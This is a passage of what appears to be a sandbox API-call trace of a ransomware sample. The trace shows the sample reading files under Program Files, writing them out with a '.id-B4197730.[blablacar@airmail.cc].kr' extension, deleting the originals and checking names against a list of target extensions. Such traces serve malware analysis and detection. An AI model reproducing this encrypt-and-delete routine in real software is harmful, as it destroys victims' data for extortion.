(lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0093.632] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0093.632] lstrcmpiW (lpString1=".jpg", lpString2=".kr") returned -1 [0093.632] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0093.633] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x296ff14 | out: lpFileSize=0x296ff14*=5115) returned 1 [0093.633] CloseHandle (hObject=0x300) returned 1 [0093.633] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg")) returned 0x20 [0093.633] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0093.634] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0093.634] lstrcmpiW (lpString1=".htm", lpString2=".kr") returned -1 [0093.634] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0093.635] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x296ff14 | out: lpFileSize=0x296ff14*=233) returned 1 [0093.635] CloseHandle (hObject=0x300) returned 1 [0093.635] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.htm")) returned 0x20 [0093.635] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.htm.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.htm.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0093.635] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0093.636] lstrcmpiW (lpString1=".jpg", lpString2=".kr") returned -1 [0093.636] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0093.637] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x296ff14 | out: lpFileSize=0x296ff14*=1920) returned 1 [0093.637] CloseHandle (hObject=0x300) returned 1 [0093.637] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg")) returned 0x20 [0093.637] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0093.637] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0093.638] lstrcmpiW (lpString1=".htm", lpString2=".kr") returned -1 [0093.638] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Shades of Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shades of blue.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0093.642] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x296ff14 | out: lpFileSize=0x296ff14*=237) returned 1 [0093.642] CloseHandle (hObject=0x300) returned 1 [0093.642] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Shades of Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shades of blue.htm")) returned 0x20 [0093.643] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Shades of Blue.htm.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shades of blue.htm.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0093.646] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Shades of Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shades of blue.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0093.661] lstrcmpiW (lpString1=".htm", lpString2=".kr") returned -1 [0093.662] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0093.664] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x296ff14 | out: lpFileSize=0x296ff14*=230) returned 1 [0093.664] CloseHandle (hObject=0x300) returned 1 [0093.664] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.htm")) returned 0x20 [0093.664] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.htm.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0093.664] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0093.665] lstrcmpiW (lpString1=".jpg", lpString2=".kr") returned -1 [0093.665] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0093.667] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x296ff14 | out: lpFileSize=0x296ff14*=7505) returned 1 [0093.667] CloseHandle (hObject=0x300) returned 1 [0093.667] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.jpg")) returned 0x20 [0093.667] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.jpg.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.jpg.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0093.667] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0093.668] Sleep (dwMilliseconds=0x64) [0094.227] Sleep (dwMilliseconds=0x64) [0094.806] Sleep (dwMilliseconds=0x64) [0095.110] lstrcmpiW (lpString1=".gif", lpString2=".kr") returned -1 [0095.110] lstrlenW (lpString="win32_CopyNoDrop32x32.gif") returned 25 [0095.110] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copynodrop32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0095.110] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x296ff14 | out: lpFileSize=0x296ff14*=153) returned 1 [0095.110] CloseHandle (hObject=0x34c) returned 1 [0095.110] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copynodrop32x32.gif")) returned 0x20 [0095.110] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copynodrop32x32.gif.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0095.231] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copynodrop32x32.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0095.231] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0095.231] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0095.231] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copynodrop32x32.gif.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0095.232] GetLastError () returned 0x0 [0095.232] ReadFile (in: hFile=0x34c, lpBuffer=0x327d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x296fecc, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesRead=0x296fecc*=0x99, lpOverlapped=0x0) returned 1 [0095.233] WriteFile (in: hFile=0x35c, lpBuffer=0x327d020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x296fc94, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesWritten=0x296fc94*=0xa0, lpOverlapped=0x0) returned 1 [0095.235] ReadFile (in: hFile=0x34c, lpBuffer=0x327d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x296fecc, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesRead=0x296fecc*=0x0, lpOverlapped=0x0) returned 1 [0095.235] WriteFile (in: hFile=0x35c, lpBuffer=0x327d020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x296fc94, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesWritten=0x296fc94*=0x106, lpOverlapped=0x0) returned 1 [0095.235] SetEndOfFile (hFile=0x35c) returned 1 [0095.235] CloseHandle (hObject=0x35c) returned 1 [0095.239] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0095.239] SetEndOfFile (hFile=0x34c) returned 1 [0095.240] CloseHandle (hObject=0x34c) returned 1 [0095.240] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0095.241] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copynodrop32x32.gif")) returned 1 [0095.241] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79 [0095.242] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79 [0095.242] lstrlenW (lpString=".doc") returned 4 [0095.242] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0095.242] lstrlenW (lpString=".docx") returned 5 [0095.242] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1 [0095.242] lstrlenW (lpString=".pdf") returned 4 [0095.242] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0095.242] lstrlenW (lpString=".xls") returned 4 [0095.242] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0095.242] lstrlenW (lpString=".xlsx") returned 5 [0095.242] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1 [0095.242] lstrlenW (lpString=".ppt") returned 4 [0095.242] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0095.242] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79 [0095.242] lstrlenW (lpString=".zip") returned 4 [0095.242] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0095.242] lstrlenW (lpString=".rar") returned 4 [0095.242] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0095.242] lstrlenW (lpString=".bz2") returned 4 [0095.242] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0095.242] lstrlenW (lpString=".7z") returned 3 [0095.242] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0095.242] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79 [0095.242] lstrlenW (lpString=".dbf") returned 4 [0095.242] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0095.242] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79 [0095.242] lstrlenW (lpString=".1cd") returned 4 [0095.243] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0095.243] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79 [0095.243] lstrlenW (lpString=".jpg") returned 4 [0095.243] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0095.243] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79 [0095.243] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79 [0095.243] lstrlenW (lpString=".doc") returned 4 [0095.243] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0095.243] lstrlenW (lpString=".docx") returned 5 [0095.243] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1 [0095.243] lstrlenW (lpString=".pdf") returned 4 [0095.243] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0095.244] lstrlenW (lpString=".xls") returned 4 [0095.244] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0095.244] lstrlenW (lpString=".xlsx") returned 5 [0095.244] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1 [0095.244] lstrlenW (lpString=".ppt") returned 4 [0095.244] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0095.244] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79 [0095.244] lstrlenW (lpString=".zip") returned 4 [0095.244] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0095.244] lstrlenW (lpString=".rar") returned 4 [0095.244] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0095.244] lstrlenW (lpString=".bz2") returned 4 [0095.244] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0095.244] lstrlenW (lpString=".7z") returned 3 [0095.244] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0095.244] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79 [0095.244] lstrlenW (lpString=".dbf") returned 4 [0095.245] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0095.245] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79 [0095.245] lstrlenW (lpString=".1cd") returned 4 [0095.245] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0095.245] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79 [0095.245] lstrlenW (lpString=".jpg") returned 4 [0095.245] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0095.245] lstrcmpiW (lpString1=".dat", lpString2=".kr") returned -1 [0095.245] lstrlenW (lpString="tzdb.dat") returned 8 [0095.245] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzdb.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0095.246] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x296ff14 | out: lpFileSize=0x296ff14*=105500) returned 1 [0095.246] CloseHandle (hObject=0x34c) returned 1 [0095.247] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzdb.dat")) returned 0x20 [0095.247] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzdb.dat.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0095.247] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzdb.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0095.247] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0095.247] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0095.247] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzdb.dat.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0095.248] GetLastError () returned 0x0 [0095.248] ReadFile (in: hFile=0x34c, lpBuffer=0x327d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x296fecc, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesRead=0x296fecc*=0x19c1c, lpOverlapped=0x0) returned 1 [0095.263] WriteFile (in: hFile=0x35c, lpBuffer=0x327d020*, nNumberOfBytesToWrite=0x19c20, lpNumberOfBytesWritten=0x296fc94, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesWritten=0x296fc94*=0x19c20, lpOverlapped=0x0) returned 1 [0095.266] ReadFile (in: hFile=0x34c, lpBuffer=0x327d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x296fecc, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesRead=0x296fecc*=0x0, lpOverlapped=0x0) returned 1 [0095.266] WriteFile (in: hFile=0x35c, lpBuffer=0x327d020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x296fc94, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesWritten=0x296fc94*=0xe4, lpOverlapped=0x0) returned 1 [0095.267] SetEndOfFile (hFile=0x35c) returned 1 [0095.267] CloseHandle (hObject=0x35c) returned 1 [0095.270] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0095.271] SetEndOfFile (hFile=0x34c) returned 1 [0095.272] CloseHandle (hObject=0x34c) returned 1 [0095.272] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0095.273] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzdb.dat")) returned 1 [0095.273] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47 [0095.273] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47 [0095.273] lstrlenW (lpString=".doc") returned 4 [0095.273] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0095.273] lstrlenW (lpString=".docx") returned 5 [0095.273] lstrcmpiW (lpString1=".docx", lpString2="b.dat") returned -1 [0095.273] lstrlenW (lpString=".pdf") returned 4 [0095.273] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0095.274] lstrlenW (lpString=".xls") returned 4 [0095.274] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0095.274] lstrlenW (lpString=".xlsx") returned 5 [0095.274] lstrcmpiW (lpString1=".xlsx", lpString2="b.dat") returned -1 [0095.274] lstrlenW (lpString=".ppt") returned 4 [0095.274] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0095.274] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47 [0095.274] lstrlenW (lpString=".zip") returned 4 [0095.274] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0095.274] lstrlenW (lpString=".rar") returned 4 [0095.274] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0095.274] lstrlenW (lpString=".bz2") returned 4 [0095.274] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0095.274] lstrlenW (lpString=".7z") returned 3 [0095.274] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0095.274] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47 [0095.274] lstrlenW (lpString=".dbf") returned 4 [0095.274] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0095.274] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47 [0095.274] lstrlenW (lpString=".1cd") returned 4 [0095.274] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0095.274] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47 [0095.274] lstrlenW (lpString=".jpg") returned 4 [0095.274] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0095.274] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47 [0095.275] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47 [0095.275] lstrlenW (lpString=".doc") returned 4 [0095.275] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0095.275] lstrlenW (lpString=".docx") returned 5 [0095.275] lstrcmpiW (lpString1=".docx", lpString2="b.dat") returned -1 [0095.275] lstrlenW (lpString=".pdf") returned 4 [0095.275] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0095.275] lstrlenW (lpString=".xls") returned 4 [0095.275] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0095.275] lstrlenW (lpString=".xlsx") returned 5 [0095.275] lstrcmpiW (lpString1=".xlsx", lpString2="b.dat") returned -1 [0095.275] lstrlenW (lpString=".ppt") returned 4 [0095.275] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0095.275] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47 [0095.275] lstrlenW (lpString=".zip") returned 4 [0095.275] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0095.275] lstrlenW (lpString=".rar") returned 4 [0095.275] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0095.275] lstrlenW (lpString=".bz2") returned 4 [0095.275] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0095.275] lstrlenW (lpString=".7z") returned 3 [0095.275] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0095.275] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47 [0095.275] lstrlenW (lpString=".dbf") returned 4 [0095.275] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0095.275] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47 [0095.276] lstrlenW (lpString=".1cd") returned 4 [0095.276] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0095.276] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47 [0095.276] lstrlenW (lpString=".jpg") returned 4 [0095.276] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0095.276] lstrcmpiW (lpString1=".txt", lpString2=".kr") returned 1 [0095.276] lstrlenW (lpString="THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 34 [0095.276] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme-javafx.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, 